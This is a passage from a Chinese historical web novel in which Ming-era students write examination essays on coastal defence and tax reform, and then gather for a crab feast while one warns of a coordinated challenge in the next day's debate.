不过好在是,联考前,有郭师弟给他开小灶!那出的策论题目,也是一个比一个刁钻! 于是这会儿,见着这一题,也就觉得有点还好,不算太难解。 想了想,他捋清楚脑子里的思绪,深呼吸一口气,提笔落字。 第一段写的洋洋洒洒,文采斐然。 第二段起。 一曰:海非不可防,防海者在防人。 臣以为,海防之要,不在船炮之多寡,而在人心之向背。昔嘉靖间,倭寇…… 二曰:商非不可用,用商者在用其心。 今有司,视商贾如鱼肉,欲取其利而防其弊,此犹闭关而拒客,可不从也…… 每岁海舶出港,官设宴,礼其豪商,问以海道之险,盗寇之实。其有奇才者,许以冠带。其有捐资者,勒石纪功。 三曰:兵非不可战,战兵者在战其气。 每获一寇,赏其兵。每失一船,罚其将…… 一份策论,写的也算是磕磕绊绊,写出来了。张岱只觉得自己精气神都要被抽干了,看着白纸黑字的……总归是勉强能看吧! 当然,他觉得自己写的还可以,不知道小师弟们写得如何了? 此时,考试时间已过去三分之二有余,考场中不少的学生放下笔来,也有的,正埋头苦想着。 萧良幹逛来逛去,又又又“凑巧”的逛到了郭嘉这儿,看着年轻的小少年,这会儿正趴在考桌上,竟是大张旗鼓的公然睡大觉?! 他摸着胡须的手抖了抖,拔掉了几根精心保养的胡子,心里也是直叹息,太傲! 好奇凑近些,瞄了一眼。 结果不看不知道,看了眼皮直跳。 卖、卖……官衔??! 这是要卖官鬻爵吗? 别说,这玩意儿确实,让萧良幹多少觉得离谱了!但细看策论,从第一条到第三条,竟也说的条理清晰,角度实在刁钻。 不以征召,反使人争为己用,给的都是虚名,倒还让官府与那商贾之流合作。 72.第 72 章 出招之奇,萧良幹频频颔首,心里只觉这个学生不凡,第一天的经义出彩,第二天的策论也一样出彩,怕不是要在这次的联考中,夺得魁首了。 再看看别的吧。 这么想着萧良幹继续往前。 这会儿,周盈落下最后一个字,看着自己写完的策论,心中倒也还算满意。 只见,纸上字迹遒劲锋利,如剑勾画。 对曰: 东南之事情,病在两端:一曰取之无方,致使商困而税亏。二曰用之无度,致使兵疲而防废。 臣请以三策陈之:一曰改税制,二曰整卫所,三曰立监督。 一曰改税制:变钞关为什一之利,以裕商而实饷。 今之海税“钞关”,实以船丈抽之,不问货之多寡,不论利之厚薄。巨船、空船出海,抽之无二。小贩货百两,巨贾得利于十倍多,所纳却无异。 此非税,乃过路钱。商贾以贿赂避之,胥吏以勒索肥之,上亏国税,下困商民,其弊久矣。 当革钞关!行“什一之利”法。凡海船出入,以验估货本,其帆回,十取其一,以为海税。 一曰公平。利厚者多输,利薄者少纳,折本者免征,商贾无所怨。 二曰足额。以利为税,则税随利长。海道靖、贸易盛,则税收自增,无加征之隐患。 三曰杜弊。货本有据,利额可查,胥吏无以盘剥,商贾无以贿之。 此税收,请分三。一解京,充作国用,二留布政司,以备所需。三分储于海防,充军资。三方皆利,商贾亦不困矣。 周盈想这一条,其实想了挺久的,明虽有设商税,但实在是太过粗糙。 市舶司的钞关收法,根本不管你利润多少,统一按照质量大小来收。这样一来,利润少的,亦或者利润多的,不想交那么多税,肯定会想办法躲避,那就是贿赂。 给点钱,能少交很多钞关钱,那就是再好不过了。 这是人性使然,不可憎其恶,应利其所趋。 因而,如何从中解其弊端,也需要利各方,才能有求成。这是必然的道理,周盈也不会出太极端偏激的法子,这不实在。 二曰整卫所:并虚额而实兵额,以精兵而固防。 卫所病在虚耗。老弱多,逃亡半,月饷少而无战力。 臣请以三策: 其一,并卫所之虚。凡卫所军士,核实人数,除逃籍,汰老者。弱以归屯田。并一卫之实额,不必增饷而兵自足。 其二,移冗兵于要冲。沿海险要之地,厚集兵力。简选熟知海道,守重兵,平旷者,设烽堠足矣。 其三,以商税养战兵。海税所入,分四支海防库养兵。战兵月饷,倍于守兵。获功则额外加赏之,战殁则厚恤其家。 壮士争以为战兵,海防何以愁乎? 这条,其实是建立在第一条的基础上的,周盈是想着,逃兵和老弱太多,干脆就踢掉,整顿一下,把两卫并一卫,直接就少了一卫月饷支出,这叫节流。 还有就是,打仗的要吃饱饭,要多拿钱,这个是一定要保证的事情,否则谁给你豁出命?别人一看,这在前线的拿钱这么多,自然也会想着要往前冲。 这就是以利驱之。 三曰立监督:以内察外监之法,为防侵渔而固根本。 国策以监督而行之,无监督,则利归胥吏,害归于商民。臣请立内外相维之法: 内察者,布政司与按察司之责也。每岁终,布政司核海税出入,按察司核卫所之虚实。凡海税收入,须四册而分:一存县,二存府,三存布政司,四备按察司勾稽。卫所兵额,亦岁造册籍,同以查核。 外监者,请许商民与之闻事。每府随轮择殷实商贾数人,给“海防咨议”之名,每季与有司同核账目。海兵赏恤,亦许其与闻。若有蹊跷,商民可赴按察司陈告。 夫商贾者,海税之所处也。海防之利害,亦其切身之利害。不待官府督责,必自督弊绝矣。 这最后一条,就是纯粹的,要为前两条,设计一条督察体系,须要多方监督,官府出人,商贾也要参与进来。 商贾对账目之事最要紧关心,凡问题所在,必一一指出,毕竟损失的是他们的利益,这事自然是放在心上的。 整整三条策论,想了周盈半场考试,等这会儿夕阳西下,他才堪堪写完。 而抬起头,却见不知何时,萧良幹已是皱着眉,低头看他的策论,看的入了迷。 周盈心里不免愕然,什么时候站着的? 他都没察觉…… 萧良幹心里可谓是波涛汹涌,见这策论,只觉旷世文章。这并非如郭嘉之“奇”,亦非其他学生所言之“虚”。 是实实在在的,如今东南弊端所在。 此论,第一条便是从钱入手。 海防养兵需用钱,军用辎重也要用到钱,维护海道要钱,什么都是钱。 钱从哪里来呢? 这是最根本的事情。 解决了钱的问题,后面的事情才好办。 所以,这份策论的第一条,就让他直接看入迷了。 不知多久,萧良幹猛叹一声:“好!” 周围的考生闻言,都抬起头来。 萧良幹察觉周盈的目光,这才发现自己竟是被震的失态了,一时间,也有些尴尬的呵呵一笑。但他没有马上走开,又低头看了一眼那策论,目光在“三策”之间留恋片刻,朝着周盈颔首。 周盈莞尔,在舍屋内朝着对方无声行了一礼。 萧良幹捋着胡须,心里想到,这是大才。旁的谈策论,都只空写表象。 多的,也是解决一时之弊。 但这学生,反以最根本之税收出发,抓准了最基本的矛盾之所在,这样的本事,就是论策的基本功了。 且看看其他学生之言,譬如本届魁首热门人选陈岳。 这会儿他也早已放下笔。皱着眉,思忖自己写下的策论如何。时政的策论,于他而言,落笔重千钧,实要细细考量再三才行。 一路逛过来的萧良幹,状似随意的目光一瞥,只见如下。 对曰: 臣闻东南之事,不在海上,而在岸上。不在兵戈,而在人心。倭寇 虽靖,海波余存,非寇难平,备难久也。请以三策:一曰固民心,二曰修实政,三曰明职守。 一曰固民心:海防之本,在民不在兵。 臣请宽商税之征,三年勿增。减海防之役,以时轮换。使商贾安其业,农夫得其耕。民知官恤己,则海上有警,必以争先。昔戚公练兵,非募兵,民兵自耳,何故?民之战为己,非为官。 这就是希望朝廷暂时不要加征税收,为东南百姓得喘息之机,团结海民商贾,自发维护海道之平,还提了戚继光抗倭的事迹。 二曰修实政:海防之要,在实不在名。 请以实校核之:每岁春秋,沿海卫所,率舟师出海,演练一月。擒海盗者、护商船者,皆以封赏。不能者,斥之,三年海师可用矣。 请以实战验之:每季点阅,命战兵登舟,守兵登垒,各试其技。技勇留之,老弱汰之。留者倍饷,汰者归屯田,一年卫伍可实矣。 这两条是从沿海卫所出发,和郭嘉、周盈的策论有些相近,但更为保守,只在卫所内部进行变法练兵,整顿内部青壮力,将老弱归放屯田。 三曰明职守:海防之成,在人在法。 臣请划分其地,各专其责。甲将守某港至某岛,乙将守某岛至某礁。失者受罚,守者赏之。每岁巡行,核其虚实,察其勤惰,人人自奋,不敢怠矣。 东南之士多言海防少言海利。海利十倍于陆。番舶之来,非徒为盗,为利耳。若许以互市,收其商税,则彼皆有利,必乐为我用。桀骜者制,驯顺者怀,化而之治,则可平矣。 这第一条,则是对整个东南海防,大致划分了职责规划,让不同的将领镇守自己的管辖范围,朝廷查其是否失职。 第二条则是分而化之的法子,开设互市,可允那些谋利的海盗,来大明做生意,愿意的则互利,不愿意的再以武力镇之。 萧良幹看完整一篇策论,只是略略皱起了眉,说的在理,提的策论也有可行之处,但太平,治标不治本。 那卫所之沉疴,弊在何处,也未理清。无军饷,则不足使之战,无战者,则不足平海道。 再言,海盗中,亦有不少无家可归,专以此为生,何来互市之物? 但转一圈下来,陈岳的这篇策论,在这考场之中,也算得上是上乘了。 却不比郭嘉之“奇”,周盈之“正”。 奇者,不出分毫,以利遣商贾为己用,尽得海平之功,却亦有无穷之后患,恐成弊政。 正者,微末断弊,以海税改制为己用,饷出其中,利朝野、地方、海防、商贾,尽得人心。 以萧良幹的老辣眼光看,“正”者,自以阳谋始,为天下之正统,这是宰相之才,非奇策频出之谋。 不争一时之利,争万世之春秋。 朝廷选人才,多以青睐的,都是相才,因为这样的人更稳妥,更周全。他心里叹了口气,心中对周盈之策,更是满意几分。 “时间已尽,请诸位放下笔。” 最后的一炷香燃尽,策论考,也落下了帷幕。 一时间,考场内,哀嚎一片。 73.第 73 章 胡云熙胸有成竹,放下笔。看着自己写满的整整一章策论,再看左右两侧不少学生,有的脸色懊恼,有的一片苍白。 心中也就多了几分稳妥。 等试卷收上,学生们也就陆陆续续从舍屋之内走了出来。 阳和书院的一帮人脸色,少不得都有些凝重。实因这出的题目太“重”,把这些学生们都考“倒”了。 “我观这东南海防之事,如无字天书,实在是……无从下笔。” “写是写出来了,但就是不知有没有跑偏。” “欸?胡师兄,你写得如何?” 有人好奇开口,胡云熙笑着,却是半点担忧也无,说话语气都带了三分傲人。 “我等学生,虽未有功名,却也知时政艰难,既读圣贤书,便总要以己之卓见,为国分忧。” “这东南之弊,我观之,却非在徒增兵增饷。” “此事,必要正其本,清其源!” 说到这,胡云熙语气都往上提了提,看了一眼几个同窗,他心里不免稍有骄傲。 继续开口说道:“我言,一曰正官常,抓贪墨,立重典!自太祖始,凡以贪墨扒皮萱草!重典之下,方可使人自危险。” 阳和书院的几个学生听了,都觉似有所悟。 路过的考生听到,也不免脚步停下,倒是想再听听,这侃侃而谈者,还有何高见。 “二曰明赏罚。有功不赏,有罪不罚,战者寒心,守者懈怠,自当日益弛废!须以重则镇之,重赏驱之,这样,人人自告奋勇,何愁倭寇不平?” 胡云熙见围过来的人越发多,说话的声音都大了一些,不少人还真被他这两策说的一愣一愣的。 “此言,倒也做不得假。这位仁兄,敢问是足下所处何处?” 听到有人上前询问,胡云熙笑了笑,行了一礼,朝着众多考生开口道:“不才,阳和书院,胡云熙。” “在下粗鄙之言,这最后一条,便是清吏治。” “钞关贪墨,触目惊心,商贾苦不堪言,而国帑不增。须以严查核实,若有敲诈勒索,许商民告官!查之即可抄家,财尽充国库,商贾乐业,其税自增,则海防何愁不平?” 他说完话,一时间,连带着阳和书院的那帮人,都皱眉深思起来。 不少策论都没写完的考生,这会儿也是恍然,脸上惭愧不已。 “久闻阳和书院大名,今日一见胡兄,才知我等,才学浅薄,实在惭愧。” “我竟是连第三策都未写完,看来这联考排名,能有个中下已是庆幸了。” 胡云熙听着一群人谈论,不免的嘴角一翘,心情可谓是舒畅极了。 眼看着不远处,陈岳皱着眉走来,他挑眉:“少云?怎么愁眉苦脸的?” 陈岳这会儿实在是没心情跟他掰扯,因为就在刚刚。他借策论,与周盈和郭嘉聊了一会。 本还想着自己的策论虽不至惊为天人,但在这考场上,应是有七八成把握取魁首的。 可方谈论罢,才觉自己策论之不足。 跟在他身后走过来的一群稽山书院的学生们行了一礼。 “陈师兄刚跟潘岳私塾的那帮人聊了会儿天,聊完就这样了。”一个稽山书院的学生开口,语气带了些许的别扭。 一众人听闻,便觉稀奇。 胡云熙一听到潘岳私塾四个字,脸色就微变了一下。 陈岳闻言,瞥了身侧多嘴的那个师弟,对方缩了缩脖子,不再说什么。 “只是一些随意之谈罢了。策论之事牵扯国本,一己之见总归做不得数。” “哦……这样一说,我倒是想起来了,先前考策论的时候,那周神童坐我左侧。” 听着一群人聊,旁边一个不知道哪个学院的考生,恍然一般开口。 这话一出,所有人的目光就落到了他的身上。 “哦?” “我应当是没看错,萧府尊走到周神童舍屋前,顿了好久,末了便惊出一个‘好’字来。” “我也是稀奇,这策论到底写的有多好,才能令堂堂府尊,都失态三分?不过那周神童走的太快,一结束考试,便出了舍屋,没得攀谈上。” 那人叹了口气,似有些惋惜。 但不少人神情各异。绍兴府尊是从四品的官职,能坐到这个位置上的,都是实打实的地方实权派。 更重要的是,知府在考生面前,不但是父母官,还是座师。 在这会儿的官场和教育制度来说,座师是学生更为重要的提携人。 意味着,一个考官,若录取了这个学生,那他就是这个考官的“门生”,将来仕途上,这些门生都是官场上的自己人。 当然这只是一次联考,却也已经能让萧良幹完全记住周盈和郭嘉的名字了。 但什么样的策论,能让一府之长,在考场上,公然失态? 大家伙都不解。 胡云熙脸色沉了沉,缩在袖子里的手攥紧了一些。 “胡、胡师兄……你脸色好差,是身体不舒服吗?” 偏这会儿,有个阳和书院的还不识趣。 一句话出口,大家伙都注意到了胡云熙的不对劲了。 陈岳知道他心里在想什么,但没有多说,只是朝着一群人行礼道:“在下还有事,先失陪了。” 见人离去,不少考生也觉氛围奇怪,便也三三两两散开了。 因考试结束,都已经是傍晚了,潘岳私塾一行人出了考场,就直奔马车。 “还好先前郭师弟硬拽着帮我开小灶,今天考策论,也不至于两眼一抹黑。” 张岱这会儿心有余悸的,颇为后怕。虽说答得磕磕绊绊,但好歹是都答上来了。 就是不知道质量如何。 周盈闻言笑了起来:“看来,奉孝这小灶还是有些作用的。” 郭嘉嗯哼了一声:“那是,有我在,好歹能保你及格,不至于连中上排名都到不了。” “哦?郭师弟这般自信?”杨业也是来了兴致。 “你看这考场上,光是能写完一份策论的,都已经不足一半。凡是能写完的,那都算是及格了。” 郭嘉这话说的,几个人面面相觑,张岱眼睛都亮了。 张了张嘴,兴奋间开口道: “这次回去,总算不用被老头子骂了!” 他说出的这句话,几个人都没料到。 郭嘉:“……没出息。” “倒还没问,沈师兄写的如何?” 沈越面无表情,听到周盈声音,转过头来:“虽不比周师弟、郭师弟策论见长,但也勉强算上一句可以入眼吧。” “哟,稀奇了。青山怎么说话都这么谦虚了?” 张岱说话是真欠抽,沈越嘴角一扯,心想他果然跟这家伙相看两眼。 审美撞不到一起,喜欢的也都不一样。 还喜欢乱交狐朋狗友,翘课出去瞎玩。总归条条都上了沈越的黑名单。 也不是说一开始,沈越就讨厌张岱的。 实在是,看这地主家的傻儿子,出身比他好,人缘也比他好。 却怎都不爱学习,不爱学也就算,家里人也宠他。 欸……人比人气死人。 沈越想起自己家那点事情,心里就不是很爽了。 总归有点酸溜溜。就想在学问上把张岱比下去。 可谁曾想,张岱不但人缘好,贵人运也旺得离谱,连巡盐这么大的事情,都能从中死里逃生。 扒上了两个神童小师弟,直接神气了! 好吧,他得承认,他一开始确实看不起两个小师弟出身微末。 这事儿确实他做错了。 沈越心里的复杂小心思,车里没人知道。 周盈坐到边上,看了他一眼:“沈师兄,听闻令尊素来看重师兄学问。前些日子,来郭府的时候,倒还跟我聊起过。” 这个是假的,周盈只是找了个借口跟人攀谈。 否则直接开口会有些尴尬,而且沈越这样的人,自尊心太强,不找个由头说话,总容易往心里多想。 “嗯?是……吗?”沈越一听这话也不免的好奇了些。 “我说谎做什么?”周盈笑了笑,想了想又道:“听闻你们家,是山阴当地的粮商之一,关于玉米番薯的改种,师兄应也有所耳闻?” 听到这话,沈越稍蹙了眉,其实这件事他知道,不但知道,来联考之前,他爹还说过。 但怎么开口,他就又有些支支吾吾了。 旁人可能不太能说出其中别扭,但跟沈越接触过的周盈,看得明白这人,性子不坏,就是点小清高。 估计家里头没少给压力,不然也不至于这么别扭,总喜欢找张岱麻烦。 “嗯…我爹说,半亩良田改种玉米和番薯,于商贾来说,风险太大。前期的粮、钱,都得我们出,将来漕运至南直隶,却也颇有距离,其中亏损都要算进去。这些也是一笔不小的开支。” 沈越说的有些尴尬,他其实很不喜欢提起自己家是干嘛的。 因为这会儿对商人的歧视,虽没有明太祖时期那么极端,却也还是有些风气在的。 家里人对他寄予厚望,希望他考取功名,进入仕途,这样才能一改累世商贾的路子。 周盈闻言倒也没生气,他知道其中蹊跷和缘由。 若那沈峰真是半点都不想谈,早就不会让自己儿子跟着他了。 这些天,想来以沈越那小清高的别扭性子,怕是睡都睡不好。 74.第 74 章 “此事,我知道了,沈师兄想说的那些话,我也都明白了。” “嗯?”沈越皱了皱眉,他还没说什么呢。 但看周师弟眨了眨眼睛,嘴角带着几分笑意,颇有些俏皮。 “我知道你们的难,但我也难,咱们要把这国策推下去,也只能一起咬咬牙,熬过今年,等明年,一切就都稳妥了。” “联考后,布政司下发的官文应也到了。到时候就再谈一谈吧。” 沈越心里不知点是何感觉,可能是松了一口气,把一直积在心中的一桩事了却了。 也有点庆幸。 庆幸于,这个周小师弟,全了他的自尊颜面。 马车内,两个人谈话也就到此为止了。 张岱和郭嘉还在你一句我一句的顶嘴。 听的周盈困困的,实在是郭奉孝这妖孽,折腾的他两晚上都没睡好。 这一整天的考试下来,早就筋疲力尽,燃尽了。 周盈选择先回屋好好睡一觉。 于是几个人也各自先干起了自己事情。 不知是过了多久,周盈窝在被子里,迷迷糊糊间听到外头敲门的声音。 “周师弟,睡醒了吗?该吃饭了。” 床上人睡眼惺忪,皱着眉慢慢睁开眼睛。 只觉屋内黑的一眼见不着顶。 站外面的张岱,听着里头毫无动静,心里还琢磨着,周师弟睡得这么沉,要是不吃饭,等会晚上饿醒了怎么办? 也就这儿会儿功夫,听着里头窸窸窣窣动静响起。 紧接着,穿着薄衫,头发散落的周盈就开了门。 他皱着眉长睫翕动间,眼里头还有没有散开的睡意,声音开口,也不复白天的清脆,带着些糯糯的迷糊。 “有事吗?” “哦、哦!有!到晚饭时间了,你吃完再睡嘛。” 这么一提起,周盈的肚子也就咕噜噜的开始响起来了。 “你等会,我换个衣服。”说完,清醒的人“啪”一声关上门。 进屋里翻了翻娘给他准备的衣服。 周盈翻出十几件锦缎裁的外套,五条换洗的暗纹薄纱外衬,还有零零散散的内搭、鞋子……总归是五花八门。 他有点选择困难。喜欢穿白色,主要也是白色看着都差不多,随便一套就行。 闭着眼随手抄起一件绣了些墨字纹样的外衣,随意几下套上。 等扎完发走出门,张岱早下了楼了。 翩翩素纱披在身上,周盈步履间都带着些许风流。 等下了楼,一看院子里,一群人搬了椅子桌子,围了个小圈子。 边上放着好些桶,里头全是不知打哪儿抓来的蟹,各个肥大的很。 周盈稀奇:“这哪来的蟹?” “小师弟睡醒了?哦,这蟹是少云师兄带来的。” 听到这话,周盈迟疑的皱起眉。 “哟,睡一觉怎么还睡出仙气来了?”郭嘉拿着碗碟筷子走出来。 看见周盈这一身打扮,戏谑了一句。 周盈嘴角动了动,稀奇开口道:“少云师兄也来了?” “嗯,那么多螃蟹,都是他送的,我也是没明白,生螃蟹有什么好吃的?张岱听了开心得要命。” 郭奉孝把东西放桌上,随后皱眉“啧”了一声:“腥!” “……” 郭嘉口味和张岱一群人不太一样,吃不太习惯那些生河鲜。 他就爱吃点米面之类的东西。 周盈倒是无所谓,吃得饱就行,比方说那呛蟹吃起来挺下饭的。 也就这会儿功夫,桌上已经摆了肥腊鸭、牛乳酪、鸭汁煮好的白菜,油焖笋等配菜。 另有柑橘、炒好的栗子、菱角等蔬果。 还有从周盈家里带来的一坛孩儿笑、玉米酒。 看到这俩玩意儿他都惊了一下。 “哦,这个也是少云师兄带来的。”张岱解释道。 嗯? 周盈觉得有点怪怪的,拿了个橘子,修长的手指剥开一半,递给对方。 “少云师兄呢?” “他?这会儿应该跟宗吕出去买酱牛肉了。” 排场这么大? 周盈塞了瓣橘子进嘴里,看着几个人拎了炉子,上头这会儿正煮着沸水。 张岱抄起袖子,直接捏着蟹钳,把个头最大的那个提了起来。 “周师弟,这蟹可肥了!我和你说,得等洗干净,用蒲叶包着蒸熟了,再配上姜丝醋蒜,吃上一口,那叫一个鲜!” 张岱说的煞有其事,指着空中活蹦乱跳,试图夹他手指的大螃蟹,眼里都冒出绿光了。 周盈听了只觉真文雅,真文雅。 问题是吃螃蟹能吃饱吗? “这也吃不饱,我有点饿了。” 显然,张岱这文雅的螃蟹宴,打动不了周盈只想吃饱饭的朴实无华的脾胃。 边上烧着炭火的沈越咳了一声,皱着眉,捏着鼻子,拿钳倒腾了一下里头的煤饼。 闻言插嘴一句:“咱们浙东人,吃东西图的就是个‘鲜’字,” “周师弟若是想吃些饱腹的,就着那鸭汁煮白菜,再辅些肥腊鸭,配一碗余杭白米饭,滋味也是不错的。” 郭嘉在一旁,听了只觉花里胡哨,还不如一碗热腾腾的汤面,就着羊肉来得自在。 那螃蟹吃起来都费劲。 也就这会儿功夫,买了好些东西的陈岳和杨业,走到了院子门口。 “哟,叫你们去买个酱牛肉,怎么买了这么多回来?咱们几个吃得完吗?” 看着两人手里提着的大包小包,张岱不由得睁大了点眼睛。 虽说他好吃,但也不赞同铺张浪费这种事情。 陈岳闻言,笑着提起自己手里的东西:“这些是酱牛肉,另一些,是一些蜜饯点心。” “我和宗吕兄见着有卖糖水青梅的,便也买了些。” “听闻是从塘栖那来的,那梅子可用了百斤糖腌,尝着酸甜可口。”说着,他煞有其事地指着瓶子,语气带着好不炫耀的意味。 “平日可难碰着!” “还有些松子黄糕、佛手片,闻着香,顺道买来给两位小师弟尝尝。” 杨业将手上的东西放在桌上,笑着开口道:“今日是少云兄破费,咱们吃就是!这点儿东西,想来少云兄也负担得起。” 陈岳哈哈一笑,少见的没了平日那股端着的架子。 周盈稀奇,瞥了一眼拆了包装,拿着一块松子糕 的郭嘉。 对方眨眨眼:“你别看我,人家少云师兄,是专程为你来的。” 眼见着几个人撩起袖子,洗螃蟹的、切葱姜的,全忙了起来。 周盈和郭嘉两个年纪最小的,也就左边是等着吃就行了。 “什么情况?” “嗯?”郭嘉咬着松子糕,咀嚼了片刻后,开口道:“其实也没什么事情,大约是因为今天考的策论。” “你之前不还跟陈岳聊过了?聊了些什么?我怎么看他走的时候脸色挺难看的?” 这话问到点子上了,周盈坐在小椅子上,抬头看明月敞亮,星光点点。 没第一时间开口回答,反而是在想,陈岳这个人挺有趣的。 学派之争于他而言似乎没那么重要。 “问的都是一些东南海防的事情,还问了关于玉米番薯的国策。” 郭嘉“咦?”了一声:“那他就是对你有意思。” “……”周盈转过头,直勾勾看着他。 小郭狐狸撇撇嘴:“哎,说白了,这不就是想跟你交个朋友吗?” 周盈都无语了,说话能不能不要老是这样一惊一乍,很吓人的。 “他连那些同窗都没带,显然并非是以稽山书院学生的身份来拜访的。” “这就是私底下的个人生活了。” 郭嘉这话,让周盈反应过来了。 站起身,郭嘉拍了拍他肩膀:“想太多,伤脑筋。” 人小鬼大的……哦不对,都是千年老狐狸,还装嫩。 院子里,几个人围在一起,张岱直接挑了个最大的,放到周盈碗里头。 “周师弟可会剥螃蟹?” 眼看着桌上摆放的小锤、小铲、小叉子等等用具,周盈实在都惊讶了,吃个螃蟹要这么费劲儿吗? “我自己来吧!” 张岱闻言也就收回了手。拿起小锤子,小铲子,就开始在自己面前敲敲打打,把那“英勇就义”的清蒸大螃蟹,拆了个“天灵盖”外翻,露出黄澄澄的蟹膏。 沈越这会儿已经把肉都剥了一干二净,放在碗里,洒了些醋和蒜末。 至于杨业?他这会儿没吃螃蟹,反倒是和陈岳坐在一旁,两人拿着小酒杯,你一口我一口对饮,手上拿着块酱牛肉。 其余的几个人,也都是吃饭的吃饭,吃点心的吃点心。 张岱最开心了,他举着自己的螃蟹,如痴如醉开口道:“食品不加盐醋儿五味全者,为蚶、为河蟹!” “掀其壳,膏腻堆积,如玉脂珀屑,团结不散,甘腴虽八珍不及~” 这一说到吃的,就开始发狠了,忘情了。 几个同窗都给他逗乐了:“宗子,这蟹真有这么美味?那我们可得尝尝。” “尝!还有几只蒸着,吃完了再下锅,冷了可就不鲜美了。” 一伙人围在一起,霎时间,锅里那几个螃蟹全都遭了毒手,被粉碎了个七零八落。 膏如黄油,倒入饭中,一勺起,周盈闻着,不免也有些食指大动。 至于郭嘉?他尝了一只蒸螃蟹,倒觉得还行,那葱姜祛了腥,因而只留了鲜甜。 轻“咦?”一声响。拿起半个生腌蟹,往嘴里一塞。 “……呕!” 75.第 75 章 “算、算了!我真吃不习惯这生的东西。” “诺,这半只给你。” 郭嘉脸都皱成团了,呸呸呸几声,把嘴里半个生蟹吐了出来。 好歹也是“世之奇士”,怎么还能被半只生蟹打败了呢? 周盈看他那小表情,都看乐了。手上小铲子动作着,把一整只蟹肉、蟹黄都挖到了碗里。 随后推到了郭嘉跟前。 “你吃熟的吧,这玩意儿不腥,我尝着挺鲜甜的。” 小郭狐狸感动得两眼泪汪汪:“汝瑛哥哥真好……就知道你疼我~” “……”周盈手抖了一下,小铲子当啷一声掉在桌上。 “噗!”边上坐着的张岱,瞪大眼睛,不可置信地看着郭嘉。 郭奉孝眨巴眼睛:“嗯?怎么了?难道张师兄不觉得汝瑛对我很好吗?这么大个蟹,剥起来多费劲啊。” “……”周盈深吸一口气,手攥成了拳头,缓缓抬了起来。 郭嘉见状,端起碗,麻溜走到杨业和陈岳边上坐下。 两个人:? “少云师兄,汝瑛有话要跟你说。”吃着周盈剥的螃蟹肉,心里美滴很的郭嘉,说话大气都不喘一口。 陈岳闻言,拿着酒杯的手都顿了顿。 杨业瞄了一眼吃的正香的郭嘉,思忖间,也就没开口。 张岱被郭嘉那句肉麻的话,弄得是浑身鸡皮疙瘩:“你也太宠他!这话都说的出来,太、太不要脸!” 周盈呵呵一笑,小勺子挖着蟹肉塞进自己嘴里。 眼看着陈岳脚步朝这走来,张岱很自觉站起来:“我去拿点东西。” 说着,便也端起自己的碗,朝着杨业那边走去。 三个人排排坐,看着都稀奇。 眼看着陈岳走过来。 周盈:? 陈岳心里其实有些忐忑,周师弟是要跟他说什么呢? 是白天说的那些话?今日考的策论?还是别的什么? “周师弟,今日不请自来……是否叨扰?”有些尴尬,不太自在的陈岳行了一礼。 先前两人可没单独说话过,周盈听了,心里琢磨出点什么。 “不妨事,少云师兄登门拜访,我等自是开心来不及,只是前两日未曾休息好,我歇了一会儿,不曾迎接。” 陈岳坐下,笑道:“这蟹可还鲜美?是我托人去附近田里抓的,肥的很。” “蟹虽美味,可少云师兄的心意,令在下更心暖。”周盈莞尔。 两人一时间没说什么,不过一会儿,都笑出了声。 周盈拿起玉米酒给两人各倒了一杯,递给对方。 “玉米酒清甜,我便借这酒,先交少云师兄这个朋友,如何?” 说罢,他仰头干尽。 陈岳见状,也跟着一道。末了,才神情有些复杂道:“其实,在此之前,我虽知晓师弟神童名讳,心中却亦有不服。” “说来,也真是……太狂妄自大。如今与师弟言谈间,才觉出我之不足。” 说到这,他自己也自嘲般笑了笑。 周盈目光一转,看着几个坐在边上吃着螃蟹喝着酒的人,心中不免多了几分复杂心情。 “少云师兄是代表稽山书院参加的联赛,照理来说,与我们潘岳私塾也是敌人。” “但师兄与我等亲近,便足以证明,你是个重情义、轻门户的真性情之人。” 陈岳笑了笑,叹了口气道:“师弟折煞我了,我看这次联考,潘岳私塾是板上钉钉要出名了的。” “有本事的人,是怎么都压不住的。” 他这话说的实在,也很真诚。稽山书院到底是名家书院,教出来的学生,是有些真才实学的。 但这些真才实学,却让陈岳与这位周师弟交流之时,便觉自己实在浅薄。 “多的,我也不能说什么,实也是因一些学派争论,明日的辩论不会太安稳。” “这次来,一是为了交你这个朋友。第二便是,做师兄的,给你通个气。几家书院都已经串好了气,明日辩论的时候,定是会追着你们潘岳私塾穷追猛打。” “这事情,与联考已是无关,更关乎学派之争。你们学的那些东西,我看过,了解过,也与师弟你深入交谈过了。” “事功派的学说,虽与咱们的都差不多,但说到底,重于‘经世致用’,而轻于学问研究。” 他说着话,便是坐着的郭嘉和其他几个都停下了手里的动作。 见陈岳抿了抿唇,深思间又言:“但这条路很难走,我却希望师弟能堂堂正正的走,将来,有师弟这样的人在朝野中站稳脚跟,才会有越来越多‘经世致用’的人才跟着出现。” 说完这话,陈岳叹了口气,拿起杯子一口抿尽酒水。把心里头的话全说出来,他这口气才松快了不少。 院子里炉火烧的旺,不多时,周盈点了点头:“我知道了,师兄之言,我都会记在心里。” “将来,希望能有机会与师兄一道共事。” 陈岳哈哈一笑:“我也算不得什么‘事功派’,多少……还做不到像师弟这样。” “能说出这番话,师兄便已与那些只知道空谈的书生,大不一样了。”周盈笑容真切了几分。 陈岳无奈摇头,似乎想起什么:“哦对了…差点忘了,那胡云熙,知道考场上的事情后,这儿会儿疯了似的打听,你到底写了些什么,竟让萧府尊都失了态。” “明日辩论赛,我代表稽山书院,也只能勉强做到中立,不掺和进其中。别的,也就只能靠你们自己了。” “这就已经够了。”周盈起身,朝着对方行了一礼。 陈岳赶忙站起身摆手:“这太重礼了。” 坐在边上的张岱翘着腿,笑着说道:“少云师兄一番话,说的咱们周师弟心里都感动呢!” 陈岳脸上都有些发红了。 周盈起身,看这几个热闹不嫌事大的,手抓起两只螃蟹,笑着开口道:“你们是清闲,快把螃蟹吃了,等会儿还有事情谈。” 眼看着螃蟹都要凉了,张岱那可谓是心疼得不行:“哎!别放凉了,周师弟你也吃啊。” “就是就是,可不能只顾着我们吃!” 周盈刚吃了点饭,这会儿倒还真不太饿了,闻言也只是笑了笑。 不多时,陈岳便行告辞。 看来他心结已了。 院子里,喝酒的、吃螃蟹的、谈趣事的,这会儿也都安静了下来。 酒足饭饱,潘岳私塾一群人搬了椅子凳子围在一起。 “少云师兄说的事情,关乎明天咱们辩论赛要怎么打。周师弟你有什么想法吗?” 开口的是张 岱,这家伙吃螃蟹吃美了,这会儿也正经了起来,拿了块松子糕咬了一口。 毕竟螃蟹鲜归鲜,但真不顶饿。 见几个人都看向他,周盈垂眸沉思间,缓缓开口道:“明日辩论,只怕我等不但要单打独斗,或还要应对群涌而上之围剿。” “尚不知辩题为何,如今也只能暂定人选。” “周师弟可是有什么想法了?” 